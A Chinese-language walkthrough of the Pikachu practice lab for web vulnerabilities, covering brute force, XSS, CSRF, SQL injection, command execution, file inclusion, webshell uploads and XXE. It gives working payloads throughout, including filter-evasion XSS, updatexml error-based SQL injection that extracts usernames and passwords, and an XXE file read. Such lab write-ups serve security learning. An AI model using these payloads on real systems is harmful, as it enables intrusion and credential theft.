pikachu通關
密碼爆破
1.1表單爆破
Burpsuite抓包直接爆
1.2驗證碼繞過(on server)
驗證碼在服務端只驗證一次,那麼手動輸入驗證碼後再次爆
1.3驗證碼繞過(on client)
驗證碼只在客戶端進行驗證,並不會傳送到服務端,所以抓包的時候直接把驗證碼去掉再爆
1.4繞過token防護
這裡我就得向伺服器獲取到token值,然後遞迴和字典一起爆
獲取到的第一個token值,需要手動貼上填一下,另外重定向哪裡也需要設成一直
XSS注入
反射型(get)
直接再url中寫入payload
1<script>alert('1')</script>
反射型(post)
在搜素框中寫入payload,點選時觸發
1<h onclick=alert('1')>1<h>
儲存型
留言板中留個圖片,不加源,同樣是點選觸發
1<img src="" onclick=alert('1')>
DOM型
直接單引號閉合躍出,加上點選觸發
1' onclick="alert('xss')">
DOM_XSS-X
同理
盲打
不管3721,嘗試就對了
繞過濾
第一種,大小寫
1<ScRipt>alert(1)</ScRIpT>
第二種,雙重尖括號雙倍快樂
12<<SCRIPT>alert("XSS");//<</SCRIPT>
第三種,沒有標籤繞過
某些瀏覽器中不需要加入常規XSSpayload中的”>”部分.例如firefox會為你非常體貼的安全閉合HTML標籤,並且加入閉合標籤!
1<SCRIPT SRC=http://xss.rocks/xss.js?< B >
其他繞過方式
1/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
htmlspecialchars實體轉換
使用Javascript偽協議
1javascript:alert(document.domain)
href輸出
同樣可以使用偽協議輸出
1javascript:alert(document.domain)
js輸出
閉合,輸出
CSRF跨站偽造請求
GET型
直接存在於URL中,實現起來很簡單
post型
POST注入稍微麻煩一點需要先截包,然後使用burpsuite生成一個表單,掛在伺服器裡,讓受害者點選
token
SQL注入
數字型注入
布林判斷尋找注入點
直接order by,猜出欄位數
查詢顯示位
檢視資料庫版本和當前庫名
根據得到的庫名得到pikachu中所有表名
查詢users表中的所有欄位資訊
然後直接查詢pikachu庫中users表的username和password資訊
同理可以查詢資料庫root使用者的密碼
解密
字元型注入
單引號判斷注入點
閉合單引號
判斷欄位數
使用updatexml報錯注入得到pikachu庫下的表名
1http://192.168.1.11/pikachu/vul/sqli/sqli_str.php?name=lili' union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),0x7e),1) -- &submit=查詢
拿到users表的欄位資訊
1http://192.168.1.11/pikachu/vul/sqli/sqli_str.php?name=lili' union select 1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)-- &submit=查詢
拿users表的具體內容
1http://192.168.1.11/pikachu/vul/sqli/sqli_str.php?name=lili' union select 1,updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM users limit 1,1),0x7e),1) -- &submit=查詢
搜尋型注入
可以發現單引號出現報錯,註釋掉後回顯正常,那麼就可以選擇聯合注入或者是報錯注入,這裡就不佔篇幅了
不知名型別注入
可以看見他構造的閉合有點奇怪,是')
,有的情況下還有雙引號、中括號等奇葩方式,但是隻要找到注入點就基本結束了,注入方法參考上面的聯合和報錯
insert、update、delete注入
加入萬能的單引號
再次使用報錯
延時注入(布林注入與延時同理不做演示)
payload如下
123http://192.168.1.7/pikachu/vul/sqli/sqli_blind_b.php
?name=lili' and sleep(20
)--+
略
寬位元組注入
帶入%82
復活單引號
接下來就簡單了,和上面一樣
命令執行
遠端命令執行
例如在執行ping命令後加管道符(或&&)執行systeminfo
獲取系統詳細資訊,
遠端程式碼執行
例如輸入phpinfo();
檔案包含
本地檔案包含
一般配合目錄遍歷使用,例如讀取伺服器的hosts檔案
遠端檔案包含
遠端伺服器準備
docker快速開一個lnmp服務
12root@linux:~# docker run -itd -p 12345:80 raesene/bwapp
84ea4667fa6e76be69cc1468a70d485fb198554b5bb4a38b369030666e0a95d5
包含遠端檔案
檔案下載
目錄遍歷下載個記事本
檔案上傳
客戶端檢查
將webshell上傳時改成圖片格式,截包後改成php格式
服務端檢查
不用改成圖片格式,直接上傳webshell,截包將Content-Type宣告為 image/png
webshell連線
影象內容檢查
這裡使用了getimagesize() 函式獲取影象大小及檔案頭是否是真實的圖片,所以需要將webshell寫入真實的圖片來繞過檢查
webshell連線
這裡的shell是放在圖片裡的,所以需要讓nginx錯誤的解析圖片釋放webshell
越權
水平越權
直接替換使用者查詢即可
垂直越權
admin登陸後進入新增使用者複製URL退出登陸,登陸pikachu進入admin的管理介面新增一個使用者lisi
目錄遍歷
敏感資訊洩露
直接F12檢視程式碼
PHP反序列化
XML注入
payload
12345<?xml version = "1.0"?><!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///C://Windows//win.ini">
]><x>&f;</x>